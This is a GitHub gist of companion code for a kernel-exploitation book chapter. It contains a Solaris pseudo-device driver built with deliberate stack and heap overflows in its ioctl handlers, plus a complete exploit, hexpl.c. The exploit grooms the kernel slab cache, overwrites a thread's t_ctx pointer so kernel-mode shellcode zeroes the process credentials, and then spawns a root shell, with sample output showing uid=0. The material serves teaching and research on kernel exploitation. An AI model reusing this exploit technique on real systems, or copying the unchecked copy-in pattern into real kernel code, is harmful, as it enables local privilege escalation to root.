Skip to content

Instantly share code, notes, and snippets.

@Proteas
Created October 31, 2014 15:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Proteas/f150034acee2481d3b7d to your computer and use it in GitHub Desktop.
Save Proteas/f150034acee2481d3b7d to your computer and use it in GitHub Desktop.
A Guide to Kernel Exploitation - Chapter 4 - Solaris - Heap Overflow - Tested on OpenSolaris-0906
name="dummy" parent="pseudo" instance="0";
/*
* dummymod.c
*
* Solary dummy (and vulnerable) module code. Creates a pseudo device in
* /devices/pseudo/dummy0:0 which can be attacked by vulnerable IOCTL calls.
*
* To compile and install (with SunStudio, on a amd64 64-bit kernel) use:
*
* # cc -D_KERNEL -m64 -xmodel=kernel -c dummymod.c
* # /usr/bin/ld -r -o dummy dummymod.o
*
* and then:
* # cp dummy /kernel/drv/amd64/
* # cp dummy.conf /kernel/drv/
* # add_drv -m '* 0644 root sys' dummy
*
* At this point pseudo device has been created:
* # ls -l /devices/pseudo/dummy\@0\:0
* crw-r--r-- 1 root sys 302, 0 2010-09-24 02:33 /devices/pseudo/dummy@0:0
*
* To "remove" use rem_drv
* # rem_drv dummy
*/
#include <sys/devops.h>
#include <sys/conf.h>
#include <sys/modctl.h>
#include <sys/types.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/open.h>
#include <sys/cred.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/cmn_err.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include "dummymod.h"
static int test_attach(dev_info_t *dip, ddi_attach_cmd_t cmd);
static int test_detach(dev_info_t *dip, ddi_detach_cmd_t cmd);
static int test_getinfo(dev_info_t *dip, ddi_info_cmd_t cmd, void *arg,
void **resultp);
static int test_open(dev_t *devp, int flag, int otyp, cred_t *cred);
static int test_close(dev_t dev, int flag, int otyp, cred_t *cred);
static int test_ioctl(dev_t dev, int cmd, intptr_t arg, int mode,
cred_t *cred_p, int *rval_p );
static struct cb_ops test_cb_ops = {
test_open,
test_close,
nodev, /* no stragegy */
nodev, /* no print */
nodev, /* no dump */
nodev,
nodev,
test_ioctl,
nodev, /* no devmap */
nodev, /* no mmap */
nodev, /* no segmap */
nochpoll,
ddi_prop_op,
NULL,
D_NEW | D_MP,
CB_REV, /* cb_ops revision number */
nodev, /* no aread */
nodev /* no awrite */
};
static struct dev_ops test_dev_ops = {
DEVO_REV,
0, /* reference count */
test_getinfo,
nulldev, /* no identify - nulldev returns 0 */
nulldev, /* no probe */
test_attach,
test_detach,
nodev, /* no reset - nodev returns ENXIO */
&test_cb_ops,
(struct bus_ops *)NULL,
nodev /* no power */
};
static struct modldrv md = {
&mod_driverops, /* Type of module. This is a driver. */
"vulnerable dummy module", /* Name of the module. */
&test_dev_ops
};
/* modlinkage structure */
static struct modlinkage ml = {
MODREV_1,
&md,
NULL
};
/* dev_info structure */
dev_info_t *test_dip; /* keep track of one instance */
/* Loadable module configuration entry points */
int
_init(void)
{
cmn_err(CE_NOTE, "Loading dummy vulnerable module...");
return (mod_install(&ml));
}
int
_info(struct modinfo *modinfop)
{
return (mod_info(&ml, modinfop));
}
int
_fini(void)
{
cmn_err(CE_NOTE, "Unloading dummy vulnerable module...");
return(mod_remove(&ml));
}
/* Device configuration entry points */
static int
test_attach(dev_info_t *dip, ddi_attach_cmd_t cmd)
{
switch(cmd) {
case DDI_ATTACH:
test_dip = dip;
if (ddi_create_minor_node(dip, "0", S_IFCHR,
ddi_get_instance(dip), DDI_PSEUDO,0) != DDI_SUCCESS)
return (DDI_FAILURE);
else
return (DDI_SUCCESS);
default:
return DDI_FAILURE;
}
}
static int
test_detach(dev_info_t *dip, ddi_detach_cmd_t cmd)
{
cmn_err(CE_NOTE, "Inside test_detach");
switch(cmd) {
case DDI_DETACH:
test_dip = 0;
ddi_remove_minor_node(dip, NULL);
return (DDI_SUCCESS);
default:
return (DDI_FAILURE);
}
}
static int
test_getinfo(dev_info_t *dip, ddi_info_cmd_t cmd, void *arg,
void **resultp)
{
cmn_err(CE_NOTE, "Inside test_getinfo");
switch(cmd) {
case DDI_INFO_DEVT2DEVINFO:
*resultp = test_dip;
return (DDI_SUCCESS);
case DDI_INFO_DEVT2INSTANCE:
*resultp = 0;
return (DDI_SUCCESS);
default:
return (DDI_FAILURE);
}
}
/*
* Pretty darn dummy...
*/
static int
test_open(dev_t *devp, int flag, int otyp, cred_t *cred)
{
return (DDI_SUCCESS);
}
static int
test_close(dev_t dev, int flag, int otyp, cred_t *cred)
{
return (DDI_SUCCESS);
}
#define STACKBUF (32)
static int handle_stack (intptr_t arg)
{
char buf[STACKBUF];
struct test_request req;
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0);
cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n",
req.size, &buf);
ddi_copyin((void *)req.addr, buf, req.size, 0);
return (0);
}
static void alloc_heap_buf (intptr_t arg)
{
char *buf;
struct test_request req;
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0);
buf = kmem_alloc(req.size, KM_SLEEP);
req.addr = (unsigned long)buf;
ddi_copyout(&req, (void *)arg, sizeof(struct test_request), 0);
}
static void free_heap_buf (intptr_t arg)
{
char *buf;
struct test_request req;
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0);
buf = (char *)req.addr;
kmem_free(buf, req.size);
}
static void handle_heap_ovf (intptr_t arg)
{
char *buf;
struct test_request req;
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0);
buf = kmem_alloc(64, KM_SLEEP);
cmn_err(CE_CONT, "performing heap ovf at %p\n", buf);
ddi_copyin((void *)req.addr, buf, req.size, 0);
}
static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode,
cred_t *cred_p, int *rval_p )
{
switch (cmd) {
case TEST_STACKOVF:
cmn_err(CE_CONT,"ioctl: requested STACKOVF test\n");
handle_stack(arg);
break;
case TEST_ALLOC_SLAB_BUF:
alloc_heap_buf(arg);
break;
case TEST_FREE_SLAB_BUF:
free_heap_buf(arg);
break;
case TEST_SLABOVF:
cmn_err(CE_CONT, "ioctl: requested HEAPOVF test\n");
handle_heap_ovf(arg);
break;
case TEST_NULLDRF:
break;
default:
return (DDI_FAILURE);
}
return DDI_SUCCESS;
}
enum
{
TEST_STACKOVF = 0,
TEST_ALLOC_SLAB_BUF,
TEST_FREE_SLAB_BUF,
TEST_SLABOVF,
TEST_NULLDRF,
};
typedef struct test_request {
unsigned long addr;
unsigned long size;
} test_request;
/*
* hexpl.c - Solaris kernel heap overflow exploit
*
* This exploit targets the vulnerable dummy driver, presenting a real word
* vector to exploit a traditional heap (SLAB) overflow.
*
* Compile with:
* cc -o h hexpl.c -lsched -m64 -lkstat
* "hexpl.c", line 232: warning: statement not reached
* (yeah, that's just being lazy...)
*
* ...and run:
*
* luser@opensolaris:/tmp$ ./h
* [+] Getting process 1718 kernel address
* [+] proc_t at ffffff00eee49078
* [+] raise_cred at 401680
* [+] 72 free buffers in 491 slabs
* [+] Exhausting the slab cache...
* [+] Force a t_ctx allocation
* [+] Triggering the overflow over t_ctx
* [+] Entering interactive session...
* luser@opensolaris:/tmp# id
* uid=0(root) gid=0(root) groups=0(root),10(staff)
*/
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/schedctl.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <strings.h>
#include <schedctl.h>
#include <fcntl.h>
#include <kstat.h>
#include <unistd.h>
#include "dummymod.h"
#define DUMMY_FILE "/devices/pseudo/dummy@0:0"
/* Synchronization variables */
static int do_ctx_alloc, do_ovf, trigger_it;
unsigned long my_address;
int cred_raised = 0;
#define PSINFO_PATH "/proc/self/psinfo"
typedef struct psinfo {
int pr_flag; /* process flags (DEPRECATED; do not use) */
int pr_nlwp; /* number of active lwps in the process */
pid_t pr_pid; /* unique process id */
pid_t pr_ppid; /* process id of parent */
pid_t pr_pgid; /* pid of process group leader */
pid_t pr_sid; /* session id */
uid_t pr_uid; /* real user id */
uid_t pr_euid; /* effective user id */
gid_t pr_gid; /* real group id */
gid_t pr_egid; /* effective group id */
uintptr_t pr_addr; /* address of process */
size_t pr_size; /* size of process image in Kbytes */
size_t pr_rssize; /* resident set size in Kbytes */
} psinfo_t;
typedef struct cred {
uint_t cr_ref; /* reference count */
uid_t cr_uid; /* effective user id */
gid_t cr_gid; /* effective group id */
uid_t cr_ruid; /* real user id */
gid_t cr_rgid; /* real group id */
uid_t cr_suid; /* "saved" user id (from exec) */
gid_t cr_sgid; /* "saved" group id (from exec) */
} kcred_t;
/* Retrieve the kernel address of the current process. */
unsigned long get_curr_kaddr()
{
psinfo_t info;
int fd;
fd = open(PSINFO_PATH, O_RDONLY);
if ( fd == -1) {
perror("[-] Failed opening psinfo path");
return (0);
}
read(fd, (char *)&info, sizeof (info));
close(fd);
return info.pr_addr;
}
/* heap exported kstats are all 64-bit unsigned integers. */
uint64_t get_ui64_val(kstat_t *kt, char *name)
{
kstat_named_t *entry;
entry = kstat_data_lookup(kt, name);
if (entry == NULL)
return (-1);
return (entry->value.ui64);
}
/* Simple kernel shellcode to raise current process credentials. */
int raise_cred ()
{
proc_t *p = (proc_t *)my_address;
kcred_t *cred = p->p_cred;
kthread_t *k = p->p_tlist;
if (cred_raised)
return 0;
cred->cr_uid = cred->cr_ruid = cred->cr_suid = 0;
cred->cr_gid = cred->cr_rgid = cred->cr_sgid = 0;
/* cleanup t_ctx */
k->t_ctx = 0;
cred_raised = 1;
return 0;
}
/* Run a shell... */
void spawn_shell()
{
setuid(0);
setgid(0);
seteuid(0);
execl("/bin/bash", "bash", NULL);
}
/*
* A bunch of MAGIC numbers here and there... but should give the idea.
*/
int main(int argc, char **argv)
{
int fd;
int ret;
int i = 0, rounds = 5;
struct test_request req;
unsigned long *pbuf, retaddr, p_addr;
kstat_ctl_t *kh;
kstat_t *slab_info;
uint64_t start_avail_buf = 0, curr_avail_buf = 0;
uint64_t buf_constructed = 0;
uint64_t start_create_slabs = 0, curr_create_slabs = 0;
char buf[200];
fprintf(stdout, "[+] Getting process %d kernel address\n", getpid());
my_address = get_curr_kaddr();
if (my_address == 0)
exit(EXIT_FAILURE);
fprintf(stdout, "[+] proc_t at %p\n", my_address);
fprintf(stdout, "[+] raise_cred at %p\n", raise_cred);
/* Open the libkstat handle. */
kh = kstat_open();
if (kh == NULL) {
fprintf(stderr, "Unable to open /dev/kstat handle...\n");
exit(EXIT_FAILURE);
}
/* Lookup the values to monitor during the attack. */
slab_info = kstat_lookup(kh, "unix", 0, "kmem_alloc_64");
if (slab_info == NULL) {
fprintf(stderr, "Unable to find slab kstats...\n");
exit(EXIT_FAILURE);
}
kstat_read(kh, slab_info, NULL);
/*
* Lookup the number of available buffers and the number of allocated
* slabs.
*/
start_avail_buf = get_ui64_val(slab_info, "buf_avail");
start_create_slabs = get_ui64_val(slab_info, "slab_create");
buf_constructed = get_ui64_val(slab_info, "buf_constructed");
printf("[+] %d free buffers in %d slabs\n", start_avail_buf,
start_create_slabs);
/* You know, just to add that little suspense...*/
sleep(2);
fd = open(DUMMY_FILE, O_RDONLY);
if (fd == -1) {
perror("[-] Open of device file failed");
exit(EXIT_FAILURE);
}
i = 0;
kstat_read(kh, slab_info, NULL);
curr_create_slabs = get_ui64_val(slab_info, "slab_create");
printf("[+] Exhausting the slab cache...\n");
while (curr_create_slabs <= start_create_slabs + rounds) {
bzero(&req, sizeof(struct test_request));
req.size = 64;
ret = ioctl(fd, TEST_ALLOC_SLAB_BUF, &req);
kstat_read(kh, slab_info, NULL);
curr_create_slabs = get_ui64_val(slab_info, "slab_create");
}
/* Do five allocations, as a test (strictly not necessary...) */
for (i = 0; i < 5; i++) {
bzero(&req, sizeof(struct test_request));
req.size = 64;
ret = ioctl(fd, TEST_ALLOC_SLAB_BUF, &req);
}
/* Free and re-alloc the same buffer. */
ioctl(fd, TEST_FREE_SLAB_BUF, &req);
bzero(&req, sizeof(struct test_request));
req.size = 128;
fprintf(stdout, "[+] Force a t_ctx allocation\n");
schedctl_init();
fflush(stdout);
memset(buf, 'A', sizeof(buf) -1);
pbuf = (unsigned long *)(buf + 64);
*pbuf++ = (unsigned long)raise_cred;
*pbuf++ = (unsigned long)raise_cred;
fprintf(stdout, "[+] Triggering the overflow over t_ctx\n");
req.size = 80;
req.addr = (uintptr_t)buf;
ret = ioctl(fd, TEST_SLABOVF, &req);
while (1) {
if (cred_raised == 1) {
fprintf(stdout, "[+] Entering interactive session...\n");
/* jackpot. */
spawn_shell();
}
}
/*
* NOTREACHED -- a cleaner exploit may try for a certain amount of
* time and then exit down here.
*/
close(fd);
kstat_close(kh);
exit(EXIT_SUCCESS);
}
all: driver exp
driver: dummymod.c
cc -D_KERNEL -m64 -xmodel=kernel -c dummymod.c
/usr/bin/ld -r -o dummy dummymod.o
exp:
cc -o hexp hexpl.c -lsched -m64 -lkstat
install:
pfexec cp -f dummy /kernel/drv/amd64/
pfexec cp -f dummy.conf /kernel/drv/
pfexec add_drv -m '* 0644 root sys' dummy
uninstall:
pfexec rem_drv dummy
check:
ls -l /devices/pseudo/dummy\@0\:0
clean:
rm -rf dummymod.o dummy hexp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment